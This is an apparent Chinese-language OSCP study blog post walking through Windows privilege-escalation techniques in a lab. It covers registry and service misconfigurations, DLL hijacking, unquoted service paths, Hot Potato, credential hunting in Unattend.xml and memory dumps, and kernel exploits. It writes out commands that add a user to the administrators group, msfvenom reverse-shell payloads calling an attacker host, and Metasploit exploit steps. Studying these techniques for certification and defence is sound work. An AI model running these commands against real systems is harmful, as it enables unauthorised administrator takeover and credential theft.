少就是多,慢就是快
🔥系列专栏:【OSCP】
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年9月29日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
文章目录
注册表-自动运行
跟之前的那个一样基本上,都是通过查询,看到存在exe运行为自动运行注册表项,并且FILE_ALL_ACCESS
通过自动运行,可以在相关权限用户登录时获取权限
我们只需要将不同性质的后门文件写入autorun
但是这需要管理员用户手动上线,我们还得知道管理员的账号密码
上一次练习的时候只要管理员进行了登陆即可。无论密码正确与否
关于上传文件,可以使用ftp,kali开启一个ftp服务就行,windows用ftp存储的文件在用户目录下
AlwaysInstallElevated
跟之前的一致,一个原理,通过安装msi来提权
服务升级-注册表
同样是关于注册表的错误权限问题的另一种解决办法
此任务使用 Windows 注册表中的错误配置, 但在这种情况下,我们有权使用 regsvc 服务在 HKLM 注册表中添加密钥
检查权限
Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl
发现特殊权限
FullContol
将远源码文件复制下来
windows_service.c一般是这个
修改敏感函数命令
例如:system() 函数使用的命令替换为: cmd.exe /k net localgroup administrators user /add
编译
x86_64-w64-mingw32-gcc windows_service.c -o x.exe
指向
reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /dc:\temp\x.exe /f
启动
sc start regsvc
检验
net localgroup administrators
HKLM\SYSTEM\CurrentControlSet\services\regsvc 是要添加的子项的完整路径
/v Image Path 是添加注册表项的名称
/t REG_EXPAND_SZ 是注册表项的类型
/dc:\temp\x.exe 是新注册表项的数据(在这种情况下,在我们的恶意文件中)
/f 需要添加注册表项而不提示确认
服务-可执行文件
本质上也就是一个恶意文件覆盖
前提是审计目录的时候权限异常
但这里也是可以使用之前学到的放入一个后门文件的
总而言之只要写入exe,要么本地提权,要么反弹shell了,目前为止得到的结论
启动项
icacls.exe “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup”
这个工具是微软自带的,使用其他的也可以
不可局限
dll挟持
当我们在 Windows 系统中执行应用程序时,程序的许多功能都是由 DLL 文件提供的。 实际上,当程序启动时,它会查找 DLL。 因此,如果某些 DLL 丢失,并且我们拥有写入权限,那么我们可以将丢失的 DDL 替换为我们的恶意文件。 这样,当应用程序启动时,它就会执行我们的文件。
通常,Windows 应用程序将使用预定义的搜索路径来查找 DLL,并按以下顺序检查这些路径:
加载应用程序的目录
32 位系统目录 (C:\Windows\System32)
16 位系统目录 (C:\Windows\System)
Windows 目录 (C:\Windows)
当前工作目录 (CWD)
PATH 环境变量中的目录(首先是系统,然后是用户)
按照提示添加筛选
可以看到最下面一行,temp的一个dll文件缺失
因为temp是共享文件夹,我们具有读写权限
使用工具
Procmon.exe
添加筛选
进程名称: dllhijackservice.exe
结果;NAME NOT FOUND
运行
sc start dllsvc
控制面板找有没有temp目录下或者我们具有完全权限的目录
借助工具获取到windows_dll.c 源码
修改函数
cmd.exe /k net localgroup administrators user /add
编译
x86_64-w64-mingw32-gcc windows_dll.c -shared -o hijackme.dll
放入temp目录
重启服务
exec sc stop dllsvc & sc start dllsvc
服务升级 -binpath
同样是关于bin路径的权限错误造成
通过审查获得
未引用的服务路径
与普通方法一致
需要可写并且路径不安全
审查路径
sc发现bin目录无引号,应该access查询是否可以读写
审查权限
sc qc unquotedsvc
审查用户权限
C:\PrivEsc\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
覆盖
copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"
或者生成本地提权脚本
msfvenom -p windows/exec CMD='net localgroup administrators user /add' -f exe-service -o common.exe
并放入服务路径
启动
net start unquotedsvc
热土豆
要求存在该问题
要利用此漏洞,我们可以使用 Tater 模块,它是 Hot Potato Windows 权限升级的 PowerShell 实现。 因此,我们首先使用 bypass 选项启动 Powershell 以绕过防火墙:
powershell.exe -nop -ep bypass
然后,我们导入 Tater 模块:
Import-Module C:\Users\User\Desktop\Tools\Tater\Tater.ps1
最后,我们绕过命令 net localgroup administrators user /add 运行 Tater 模块,将我们的用户添加到管理员本地组中:
Invoke-Tater -Trigger 1 -Command "net localgroup administrators user /add"
命令的执行和输出 net localgroup administrators检查漏洞利用是否成功:
详细解释如下
启动bypass绕过防火墙
powershell.exe -nop -ep bypass
绕过net localgroup administrators user /add 运行 Tater 模块
Import-Module C:\Users\User\Desktop\Tools\Tater\Tater.ps1
添加
Invoke-Tater -Trigger 1 -Command "net localgroup administrators user /add"
查看
net localgroup administrators
配置文件
在可能包含密码的配置文件中寻找经过base64加密的密码
notepad C:\Windows\Panther\Unattend.xml
然后接码即可
要先找到相关配置文件
内存挖掘
借助msf进行内存中的密码挖掘
msfconsole
use auxiliary/server/capture/http_basic
set uripath x
run
而后访问
http://[Kali VM IP Address]/x
打开这个
taskmgr
在Windows任务管理器中,右键单击“Image Name”栏中的“iexplore.exe”,在弹出的菜单中选择“Create Dump File”。
kali解码
strings /root/Desktop/iexplore.DMP | grep "Authorization: Basic"
内核利用
漏扫得到的版本漏洞
与linux相似
在此举例
建立连接
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost [Kali VM IP Address]
run
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=[Kali VM IP Address] -f exe > shell.exe
内核版本漏洞利用
run post/multi/recon/local_exploit_suggester
use exploit/windows/local/ms16_014_wmi_recv_notif
set SESSION [meterpreter SESSION number]
set LPORT 5555
run